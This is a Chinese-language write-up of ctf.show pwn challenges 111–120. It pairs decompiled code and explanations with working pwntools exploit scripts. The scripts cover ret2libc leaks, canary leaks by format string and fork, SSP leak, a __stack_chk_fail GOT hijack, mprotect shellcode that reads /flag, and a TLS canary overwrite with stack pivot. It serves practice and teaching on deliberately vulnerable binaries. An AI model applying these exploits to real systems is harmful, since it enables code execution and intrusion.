PNW111(简单栈溢出)
from pwn import *
from LibcSearcher import *
# context(log_level='debug',arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')
pwnfile = "./pwn111"
# io = remote("pwn.challenge.ctf.show",28276)
io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc/buu_libc-2.23_64.so")
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num=4096 :io.recv(num)
ru = lambda delims :io.recvuntil(delims)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))
ru(b"Input your message:\n")
ret = 0x000000000040025c
pop_rdi_ret = 0x00000000004008d3
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_ret = elf.sym['main']
payload = b"a"*0x88+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_ret)
sl(payload)
puts_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr-libc.dump("puts")
system = libc_base+libc.dump("system")
binsh = libc_base+libc.dump("str_bin_sh")
print("puts_addr---------------------->: ",hex(puts_addr))
ru(b"Input your message:\n")
payload = b"a"*0x88+p64(pop_rdi_ret)+p64(binsh)+p64(ret)+p64(system)+p64(main_ret)
sl(payload)
itr()
PWN112
int ctfshow()
{
var[13] = 0;
var[14] = 0;
init();
puts("What's your name?");
__isoc99_scanf("%s", var);
if ( *(_QWORD *)&var[13] )
{
if ( *(_QWORD *)&var[13] != 0x11LL )
return printf(
"something wrong! val is %d",
var[0],
var[1],
var[2],
var[3],
var[4],
var[5],
var[6],
var[7],
var[8],
var[9],
var[10],
var[11],
var[12],
var[13],
var[14]);
else
return register_tm();
}
else
{
printf("%s, Welcome!\n", var);
return puts("Try doing something~");
}
}
因为var是int类型占4个字节,又因为要var[13]=0x11,所以要覆盖4*13个字节,然后写入0x11
ru(b"What's your name?")
payload = b"a"*13*4+p32(0x11)
sl(payload)
PWN113(有意思 64位mprotect)
main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rax
char v5[1032]; // [rsp+0h] [rbp-420h] BYREF
__int64 v6; // [rsp+408h] [rbp-18h]
char v7; // [rsp+417h] [rbp-9h]
__int64 v8; // [rsp+418h] [rbp-8h]
is_detail = 0;
go(argc, argv, envp);
logo();
fwrite(">> ", 1uLL, 3uLL, _bss_start);
fflush(_bss_start);
v8 = 0LL;
while ( !feof(stdin) )
{
v7 = fgetc(stdin);
if ( v7 == 10 )
break;
v3 = v8++;
v6 = v3;
v5[v3] = v7;
}
v5[v8] = 0;
if ( (unsigned int)init(v5) )
{
qsort(files, size_of_path, 0x200uLL, cmp);
search_file_info();
}
else
{
fflush(_bss_start);
set_secommp();
}
return 0;
}
feof函数的作用就是判断文件流的结束符。
没有接受到结束符时就一直执行while循环,然后接受用户的输入。
跟进init函数:
__int64 __fastcall init(char *a1)
{
__int64 result; // rax
char *v2; // rax
struct stat v3; // [rsp+10h] [rbp-1A0h] BYREF
char ptr[256]; // [rsp+A0h] [rbp-110h] BYREF
char *src; // [rsp+1A0h] [rbp-10h]
_BYTE *v6; // [rsp+1A8h] [rbp-8h]
size_of_path[0] = 0;
if ( (unsigned int)stat(a1, &v3) == -1 )
{
strcpy(ptr, "Can't get the information of the given path.\n");
fwrite(ptr, 1uLL, 0x2EuLL, _bss_start);
return 0LL;
}
else if ( (v3.st_mode & 0xF000) == 0x8000 )
{
size_of_path[0] = 1;
src = __xpg_basename(a1);
strcpy(files, src);
strcpy(dest, a1);
return 1LL;
}
else
{
result = v3.st_mode & 0xF000;
if ( (_DWORD)result == 0x4000 )
{
if ( a1[strlen(a1) - 1] != 47 )
{
v2 = &a1[strlen(a1)];
v6 = v2 + 1;
*v2 = 47;
*v6 = 0;
}
get_dir_detail(a1);
return 1LL;
}
}
return result;
}
stat 函数就是获取文件的信息属性。文件属性存储在结构体stat里(如下)
__xstat返回的其实是⽂件的stat结构体,⾥⾯会记录⽂件的类型和权限。⽤结构体⾥⾯的mode出来进
⾏判断。
struct stat {
dev_t st_dev; /* ID of device containing file 设备ID,不太常用 */
ino_t st_ino; /* Inode number */
mode_t st_mode; /* File type and mode */ /*文件的类型和权限,共16位
0-11位控制文件的权限
12-15位控制文件的类型
0-2比特位:其他用户权限
3-5比特位:组用户权限
6-8比特位:本用户权限
9-11比特位:特殊权限
12-15比特位:文件类型(因为文件类型只有7中,所以用 12-14位就够
*/
nlink_t st_nlink; /* Number of hard links */
uid_t st_uid; /* User ID of owner */
gid_t st_gid; /* Group ID of owner */
dev_t st_rdev; /* Device ID (if special file) */
off_t st_size; /* Total size, in bytes */
blksize_t st_blksize; /* Block size for filesystem I/O */
blkcnt_t st_blocks; /* Number of 512B blocks allocated */
/* Since Linux 2.6, the kernel supports nanosecond precision for the following timestamp fields. For the details before Linux 2.6, see NOTES. */
struct timespec st_atim; /* Time of last access */
struct timespec st_mtim; /* Time of last modification */
struct timespec st_ctim; /* Time of last status change */
#define st_atime st_atim.tv_sec /* Backward compatibility */
#define st_mtime st_mtim.tv_sec
#define st_ctime st_ctim.tv_sec
};
当我们输入的文件路径没有问题时不会进入else。(如下)
当我们输入的路径有问题是进入else中的set_secommp函数,然后利用栈溢出打orw
exp:
from pwn import *
from LibcSearcher import *
# context(log_level='debug',arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')
pwnfile = "./pwn113"
io = remote("pwn.challenge.ctf.show",28195)
# io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc6_2.27-3ubuntu1_amd64.so")
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num=4096 :io.recv(num)
ru = lambda delims :io.recvuntil(delims)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))
ret = 0x0000000000400640
pop_rdi_ret = 0x0000000000401ba3
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_ret = elf.sym['main']
data = 0x603000
ru(b">> ")
payload = b"A"*0x418+p8(0x28)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_ret)
sl(payload)
puts_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
libc_base = puts_addr-libc.sym["puts"]
mprotect_addr = libc_base+libc.sym["mprotect"]
pop_rdx = libc_base+0x0000000000001b96
pop_rsi = libc_base+0x23e6a
gets_addr = libc_base+libc.sym["gets"]
print("libc_base---------------------->: ",hex(libc_base))
ru(b">> ")
payload = b"A"*0x418+p8(0x28)+p64(pop_rdi_ret)+ p64(data)
payload += p64(gets_addr)+p64(pop_rdi_ret)+p64(data)
payload += p64(pop_rsi)+p64(0x1000)+p64(pop_rdx)
payload += p64(7)+p64(mprotect_addr)+ p64(data)
#这里的data或者bss要以0x000结尾才行
# gdb.attach(io)
sl(payload)
#方法一
# sh = '''
# mov rax, 0x67616c662f2e
# push rax
# mov rdi, rsp
# xor esi, esi
# mov eax, 2
# syscall
# cmp eax, 0
# jg next
# push 1
# mov edi, 1
# mov rsi, rsp
# mov edx, 4
# mov eax, edi
# syscall
# jmp exit
# next:
# mov edi, eax
# mov rsi, rsp
# mov edx, 0x100
# xor eax, eax
# syscall
# mov edx, eax
# mov edi, 1
# mov rsi, rsp
# mov eax, edi
# syscall
# exit:
# xor edi, edi
# mov eax, 231
# syscall
# '''
# 方法二
# sh = ''
# sh += shellcraft.open('/flag')
# sh += shellcraft.read(3,'rsp',0x100)
# sh += shellcraft.write(1,'rsp',0x100)
# shell = asm(sh)
#方法三
# sh = shellcraft.cat("/flag")
# shell = asm(sh)
#方法四
sh = shellcraft.readfile("/flag",2)
shell = asm(sh)
sl(shell)
itr()
PWN114 (signal(SIGSEGV, SIG_IGN)😉
signal(SIGSEGV, SIG_IGN);
程序定义了一个信号量,当出现这个信号量(非法内存访问)的时候,会执行SIG_IGN
即当我们非法内存访问的时候,会忽略此信号
有时候Func这个参数 也可以是我们自定义的参数
signal(11, sigsegv_handler);
这里的11也代指 SIGSEGV
sigsegv_handler函数我们定义为:
程序定义了一个信号量,当出现这个信号量(非法内存访问)的时候,会执行sigsegv_handler函数
即当我们非法内存访问的时候,会将我们的flag通过标准错误打印出来(fflush(stderr))
所以本题的解题方法是只要能溢出就能触发这个信号。
ru(b"Input 'Yes' or 'No': ")
payload = b"Yes".ljust(0x3Fa+8,b"\x00")+p64(0xaaaaaa)
sl(payload)
ru(b"Tell me you want:")
sl(b"aaaa")
PWN115(简单泄露canary)
exp:
ru(b"Try Bypass Me!")
payload = b"aaaa"+b"%55$p"
sl(payload)
ru(b"aaaa0x")
canary = int(r(8),16)
print("canary------------------------->: ",hex(canary))
payload = b"a"*(0xD4-0xc)+p32(canary)+b"a"*0xc+p32(0x80485A6)
sl(payload)
PWN116(简单泄露canary)
exp:
ru(b"Look me & use me!")
payload = b"aaaa"+b"%15$p"
sl(payload)
ru(b"aaaa0x")
canary = int(r(8),16)
print("canary---------------------_>: ",hex(canary))
payload = b"a"*(0x2c-0xc)+p32(canary)+b"a"*0xc+p32(0x8048586)
sl(payload)
PWN117 (SSP Leak有版本限制最好小于libc2.23)
全称是Stack Smashing Protect Leak ,这种方法没办法让我们getshell,但是我们可以利用这种方法获取到内存中的值,比如当flag在内存中储存时,我们就可以利用这个方法来读取flag
在函数结尾处检查canary时,若canary被改变,则程序在终止之前会执行__stack_chk_fail函数,如下所示:
__stack_chk_fail()函数定义如下:
eglibc-2.19/debug/stack_chk_fail.c
void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminatedn",
msg, __libc_argv[0] ?: "<unknown>");
}
当程序中存在栈溢出,并且溢出的长度可以覆盖掉程序中argv[0]的时候,我们可以通过这种方法打印任意地址上的值,造成任意地址读。
更深一步的讲,对于linux,fs段寄存器实际指向的是当前栈的TLS结构,fs:0x28指向的正是stack_guard
typedef struct
{
void *tcb; /* Pointer to the TCB. Not necessarily the
thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
uintptr_t sysinfo;
uintptr_t stack_guard;
...
} tcbhead_t;
如果存在溢出并且可以覆盖位于TLS中保存的canary值,那么就可以实现绕过保护机制
TLS中的值由函数security_init进行初始化
static void
security_init (void)
{
// _dl_random的值在进入这个函数的时候就已经由kernel写入.
// glibc直接使用了_dl_random的值并没有给赋值
// 如果不采用这种模式, glibc也可以自己产生随机数
//将_dl_random的最后一个字节设置为0x0
uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random);
// 设置Canary的值到TLS中
THREAD_SET_STACK_GUARD (stack_chk_guard);
_dl_random = NULL;
}
//THREAD_SET_STACK_GUARD宏用于设置TLS
#define THREAD_SET_STACK_GUARD(value)
THREAD_SETMEM (THREAD_SELF, header.stack_guard, value)
远程发生栈溢出时会输出文件名字,正好可以利用SSP来打
首先找到argv[0]的地址,计算出偏移量,用gdb加载程序,在栈很高的地址上可以看到,它默认指向文件名
这里可以看到argv[0]的地址与我们输入的地址相差的偏移是504,所以我们先填充504个字符后,在写入一个地址,然后执行__stack_chk_fail时就会输出我们的flag
flag_addr = 0x6020A0
ru(b"Haha,It has reduced you a lot of difficulty!")
payload = b"a"*504+p64(flag_addr)
sl(payload)
PWN118(劫持 __stack_chk_fail)
利用格式字符串劫持 __stack_chk_fail的got表
satck_chk_fail = elf.got['__stack_chk_fail']
get_flag = 0x08048586
ru(b"Nice to meet you")
payload = p32(satck_chk_fail)+b"%"+bytes(str((get_flag-4)&0xffff),'utf-8')+b"c%7$hn"
payload = payload.ljust(0xa0,b"a")
sl(payload)
pwn119 (fork+puts来泄露canary)
由于fork函数会直接拷贝父进程的内存,包括Canary值,因此可以通过在子进程中修改Canary值来绕过保护
ru(b"Try PWN Me!")
payload = b"a"*(0x70-0xc)+b"b"
s(payload)
ru(b"ab")
canary = uu32(r(3).rjust(4,b"\x00"))
print("canary-------------------->: ",hex(canary))
ru(b"Try PWN Me!")
payload = b"a"*(0x70-0xc)+p32(canary)+b"a"*0xc+p32(0x8048636)
s(payload)
PWN120(劫持TLS绕过canary)
首先了解一下这个东西的前提条件和原理
前提:
溢出字节够大,通常至少一个page(4K)
创建一个线程,在线程内栈溢出
原理:
在开启canary的情况下,当程序在创建线程的时候,会创建一个TLS(Thread Local Storage),这个TLS会存储canary的值,而TLS会保存在stack高地址的地方。那么,当我们溢出足够大的字节覆盖到TLS所在的地方,就可以控制TLS结构体,进而控制canary到我们想要的值,实现ROP
int __cdecl main(int argc, const char **argv, const char **envp)
{
pthread_t newthread[2]; // [rsp+0h] [rbp-10h] BYREF
newthread[1] = __readfsqword(0x28u);
init(argc, argv, envp);
logo();
pthread_create(newthread, 0LL, start, 0LL);
if ( pthread_join(newthread[0], 0LL) )
{
puts("exit failure");
return 1;
}
else
{
puts("Bye bye");
return 0;
}
}
本题刚好创建了一个线程,在函数start中又存在栈溢出,所以可以劫持TLS。然后ROP栈迁移到bss段执行one_gadget。
from pwn import *
from LibcSearcher import *
# context(log_level='debug',arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')
pwnfile = "./pwn120"
io = remote("pwn.challenge.ctf.show",28222)
# io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc6_2.27-3ubuntu1_amd64.so")
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num=4096 :io.recv(num)
ru = lambda delims :io.recvuntil(delims)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))
gadget = [0x4f29e,0x4f2a5,0x4f302,0x10a2fc]
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
read_plt = elf.sym['read']
main_ret = 0x400A1E
ret = 0x00000000004006be
pop_rdi = 0x0000000000400be3
pop_rsi_r15 = 0x0000000000400be1
leave = 0x400B71
data = 0x602000
ru(b"How much do you want to send this time?")
sl(str(0x1000))
payload = b"a"*(0x510)+p64(data-8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)
payload += p64(pop_rdi)+p64(0)+p64(pop_rsi_r15)+p64(data)+p64(0)+p64(read_plt)+p64(leave)
payload = payload.ljust(0x1000,b"a")
# gdb.debug(pwnfile,"b *0x400A1E")
s(payload)
puts_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr-libc.dump("puts")
one_gadget = libc_base+gadget[2]
print("libc_base-------------->: ",hex(libc_base))
sl(p64(one_gadget))
itr()